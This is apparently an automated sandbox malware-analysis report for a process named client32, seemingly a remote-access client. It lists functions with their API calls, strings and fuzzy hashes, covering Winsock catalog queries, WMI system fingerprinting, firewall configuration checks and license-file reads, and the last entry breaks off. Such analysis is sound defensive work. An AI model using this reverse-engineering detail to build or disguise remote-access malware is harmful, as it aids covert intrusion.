wsprintfA.USER32 ref: 1101567A
_memset.LIBCMT ref: 110156BE
RegQueryValueExA.KERNEL32(?,PackedCatalogItem,00000000,?,?,?,?,?,00020019), ref: 110156F8

Strings

SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries, xrefs: 110155FB
PackedCatalogItem, xrefs: 110156E2
%012d, xrefs: 11015674
NSLSP, xrefs: 11015708

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue_memsetwsprintf
String ID: %012d$NSLSP$PackedCatalogItem$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries
API String ID: 1333399081-1346142259
Opcode ID: 84934bdfb91b7ebcf4e6f2c3203863e6180bcc70d996f63089e2766c34812b78
Instruction ID: a64b799103adf9c135d53574b09e6be9cb50a11e46eb2186d5edb4ec0545667f
Opcode Fuzzy Hash: 84934bdfb91b7ebcf4e6f2c3203863e6180bcc70d996f63089e2766c34812b78
Instruction Fuzzy Hash: 70419E71D022699EEB10DF64DD94BDEF7B8EB04314F0445E8D819A7281EB34AB48CF90

Function 11010140 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1101016D
std::_Lockit::_Lockit.LIBCPMT ref: 11010190
std::bad_exception::bad_exception.LIBCMT ref: 11010214
__CxxThrowException@8.LIBCMT ref: 11010222
std::_Lockit::_Lockit.LIBCPMT ref: 11010235
std::locale::facet::_Facet_Register.LIBCPMT ref: 1101024F

Strings

bad cast, xrefs: 1101020C

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: 0888c3559ae941ddfd3a65509c7b8561ae704fbfc828ce88d4b35523d1ba3580
Instruction ID: 8605f433ca934ff223fddf63d9ff4cd14790153354e7e9eb7327a23900883db8
Opcode Fuzzy Hash: 0888c3559ae941ddfd3a65509c7b8561ae704fbfc828ce88d4b35523d1ba3580
Instruction Fuzzy Hash: 5631F975E00256DFCB05DFA4C880BDEF7B8FB05328F440169D866AB288DB79E904CB91

Function 111457A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,11195AD8), ref: 1114580D
SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1111025B), ref: 1114584E
SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 111458AB

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\ctl32\util.cpp, xrefs: 111457C7, 11145869
nsmdir < GP_MAX, xrefs: 111457CC
FALSE || !"wrong nsmdir", xrefs: 1114586E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FolderPath$ErrorExitFileLastMessageModuleNameProcesswsprintf
String ID: ..\ctl32\util.cpp$FALSE || !"wrong nsmdir"$nsmdir < GP_MAX
API String ID: 3494822531-1878648853
Opcode ID: 1e9a8547f1a4d8db54bad5cbccf33acd14b41b9136434f7006fca57feb396e97
Instruction ID: 9d2f35c0ca678663173c9787aa50c950699104b7f99c1a06bf1b906e54d037ce
Opcode Fuzzy Hash: 1e9a8547f1a4d8db54bad5cbccf33acd14b41b9136434f7006fca57feb396e97
Instruction Fuzzy Hash: F3515E76D0422E9BEB15CF24DC50BDDF7B4AF15708F6001A4DC897B681EB716A88CB91

Function 6EF02F80 Relevance: 10.6, APIs: 7, Instructions: 115COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 6EF02FBB
GetTickCount.KERNEL32 ref: 6EF0300D
InterlockedExchange.KERNEL32(-00039761,00000000), ref: 6EF0301B
_calloc.LIBCMT ref: 6EF0303B
_memmove.LIBCMT ref: 6EF03049
InterlockedDecrement.KERNEL32(-000397B9), ref: 6EF0307F
SetEvent.KERNEL32(00000324,?,?,?,?,?,?,?,?,?,?,?,?,?,?,910C34B3), ref: 6EF0308C

Part of subcall function 6EF028D0: wsprintfA.USER32 ref: 6EF02965

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: Interlocked_calloc$CountDecrementEventExchangeTick_memmovewsprintf
String ID:
API String ID: 3178096747-0
Opcode ID: da6af0660be594885205ef7652514d0bca7652e261a577d6ed15724d567570f3
Instruction ID: 6b56f61eec0c222ee0723ab5c2f7e9da2cf132fcc87265c2ae74101508136519
Opcode Fuzzy Hash: da6af0660be594885205ef7652514d0bca7652e261a577d6ed15724d567570f3
Instruction Fuzzy Hash: 794176B6C05609AFDB10DFE9C854AEFB7FDAF88304F00851AE519E7240E7759645CBA0

Function 1102A6D0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

IsJPIK.PCICHEK(EFF676FC,NSM.LIC,?,1102F092,View,Client,Bridge), ref: 1102A6F6

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

Part of subcall function 110D0A10: _free.LIBCMT ref: 110D0A3D

Strings

NSM.LIC, xrefs: 1102A6E4
IKS, xrefs: 1102A787
Serial_no, xrefs: 1102A773
_License, xrefs: 1102A778
iks.lic, xrefs: 1102A740

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free_malloc_memsetwsprintf
String ID: IKS$NSM.LIC$Serial_no$_License$iks.lic
API String ID: 2814900446-469156069
Opcode ID: 6b90f5a91e0e8404fc851c8f10d2236098875013011e5de61ca2dd828f746a24
Instruction ID: 268b58c6f7511c145cb41d8ae554306eba274149ba0ed4ca5467e6687dcac3b5
Opcode Fuzzy Hash: 6b90f5a91e0e8404fc851c8f10d2236098875013011e5de61ca2dd828f746a24
Instruction Fuzzy Hash: 8931AF35E01729ABDB00CFA8CC81BEEFBF4AB49714F104299E826A72C0DB756940C791

Function 110178F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000318,000000FF), ref: 1101792C
CoInitialize.OLE32(00000000), ref: 11017935
_GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101795C
CoUninitialize.OLE32 ref: 110179C0

Strings

PCSystemTypeEx, xrefs: 1101796C
Win32_ComputerSystem, xrefs: 1101794D

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: PCSystemTypeEx$Win32_ComputerSystem
API String ID: 2407233060-578995875
Opcode ID: 0942cf205f413e43a7dce2a9957458248f39d685d8b5fb2cae19ac9a1649f750
Instruction ID: 979ee595df3e366e36f6db43f9274242a875182caa54ddfda208ac7f01cc4ef4
Opcode Fuzzy Hash: 0942cf205f413e43a7dce2a9957458248f39d685d8b5fb2cae19ac9a1649f750
Instruction Fuzzy Hash: BE213EB5D0166A9FDB11CFA48C40BBAB7E99F4170CF0000B4EC59DB188EB79D544D791

Function 11017810 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 70synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000318,000000FF), ref: 11017842
CoInitialize.OLE32(00000000), ref: 1101784B
_GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017872
CoUninitialize.OLE32 ref: 110178D0

Strings

ChassisTypes, xrefs: 11017882
Win32_SystemEnclosure, xrefs: 11017863

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: ChassisTypes$Win32_SystemEnclosure
API String ID: 2407233060-2037925671
Opcode ID: 645120171e4998cce48753e45b0062292f56c9bef21460c25a07f93c3742c313
Instruction ID: 35f99737241494c501e89beb979cd88c9c6eddc8ed8b09fe319fdcc96c080ea2
Opcode Fuzzy Hash: 645120171e4998cce48753e45b0062292f56c9bef21460c25a07f93c3742c313
Instruction Fuzzy Hash: D7210875D4112A9BD711CFA4CD40BAEBBE89F40309F0000A4EC29DB244EE75D910C7A0

Function 11139600 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 68COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1113962A
GetTickCount.KERNEL32 ref: 11139631

Strings

Client, xrefs: 11139655
DesktopTimerProc - Further ICF config checking will not be performed, xrefs: 111396EC
DoICFConfig() OK, xrefs: 111396D6
AutoICFConfig, xrefs: 11139650

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: AutoICFConfig$Client$DesktopTimerProc - Further ICF config checking will not be performed$DoICFConfig() OK
API String ID: 536389180-1512301160
Opcode ID: e88b596b7c5c4cd1ec5207dbc2eaab29f042a609f248b0ca23653edaa92bfa31
Instruction ID: a12453e9faa0d912da9f55e5525ca7a81223e7cd1b6d2efb44fc6fc6c8488c0a
Opcode Fuzzy Hash: e88b596b7c5c4cd1ec5207dbc2eaab29f042a609f248b0ca23653edaa92bfa31
Instruction Fuzzy Hash: 2B21277CA262AF4AFB12CE75DED4791FA92278232EF010178D515862CCFBB49448CF46

Function 11096D90 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11096DA4
CLSIDFromProgID.OLE32(HNetCfg.FwMgr,?,?,?,?,?,?,?,111385EB), ref: 11096DBE
CoCreateInstance.OLE32(?,00000000,00000001,111C1B4C,?,?,?,?,?,?,?,111385EB), ref: 11096DDB
CoUninitialize.OLE32(?,?,?,?,?,?,111385EB), ref: 11096DF9

Strings

HNetCfg.FwMgr, xrefs: 11096DB9
ICF Present: , xrefs: 11096E00

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceProgUninitialize
String ID: HNetCfg.FwMgr$ICF Present:
API String ID: 3222248624-258972079
Opcode ID: 2f37d598b4012c0c7ec1fc3c7a41f1831d77099e3c9549bb0708a0a7a71d465f
Instruction ID: 9199824aa3bd6ebf99e58618a68c234682766c17c5e3bd8f83aabb27c1d0aea9
Opcode Fuzzy Hash: 2f37d598b4012c0c7ec1fc3c7a41f1831d77099e3c9549bb0708a0a7a71d465f
Instruction Fuzzy Hash: BC11C235F4111DABC700EFA59C84EEFFF789F44705B500468E51ADB104EA25A980C7E1

Function 110262F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,GetProcessImageFileNameA), ref: 11026306
K32GetProcessImageFileNameA.KERNEL32(?,00000000,11030983,00000000,?,?,?,11030983,00000000,?,00000208), ref: 11026322
GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 11026336
SetLastError.KERNEL32(00000078,00000000,?,?,?,11030983,00000000,?,00000208), ref: 11026359

Strings

GetModuleFileNameExA, xrefs: 11026330
GetProcessImageFileNameA, xrefs: 11026300

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorFileImageLastNameProcess
String ID: GetModuleFileNameExA$GetProcessImageFileNameA
API String ID: 4186647306-532032230
Opcode ID: 168c0276823b5447779d0ea544bca84f700d76740b4f854a777d5a44096f3b0a
Instruction ID: 183e1746e0b9fc2934bd9ec846e99aaf72a90bbb460a81bb2001b4ad07131d97
Opcode Fuzzy Hash: 168c0276823b5447779d0ea544bca84f700d76740b4f854a777d5a44096f3b0a
Instruction Fuzzy Hash: BE012D72A41319ABE720DEA5EC44F4BB7E8EB88765F40452AF955D7600D630E8048BA0

Function 11110040 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 52synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,76EDC3F0,00000000,?,11110F55,11110AF0,00000001,00000000), ref: 11110057
CreateThread.KERNEL32(00000000,11110F55,00000001,00000000,00000000,0000000C), ref: 1111007A
WaitForSingleObject.KERNEL32(?,000000FF,?,11110F55,11110AF0,00000001,00000000,?,?,?,?,?,11031700), ref: 111100A7
FindCloseChangeNotification.KERNEL32(?,?,11110F55,11110AF0,00000001,00000000,?,?,?,?,?,11031700), ref: 111100B1

Strings

..\ctl32\Refcount.cpp, xrefs: 1111008B
hThread, xrefs: 11110090

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Create$ChangeCloseEventFindNotificationObjectSingleThreadWait
String ID: ..\ctl32\Refcount.cpp$hThread
API String ID: 2579639479-1136101629
Opcode ID: 4687833a1936dd26f91b2846a9cb7115301389be075d2048120d977a93bdefe6
Instruction ID: 76930d23ba1481c48ceb924dc08d7adf498fcac35268297604c83f904cd53e19
Opcode Fuzzy Hash: 4687833a1936dd26f91b2846a9cb7115301389be075d2048120d977a93bdefe6
Instruction Fuzzy Hash: A0018435780715BFF3208EA5CD85F57FBA9DB45765F104138FA259B6C4D670E8048BA0

Function 11032020 Relevance: 9.0, APIs: 1, Strings: 5, Instructions: 28COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11032067

Strings

_HF, xrefs: 11032048, 1103204D
_HW, xrefs: 11032030
_SW, xrefs: 1103203C
%s%s%s.bin, xrefs: 11032061
210979, xrefs: 1103204E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
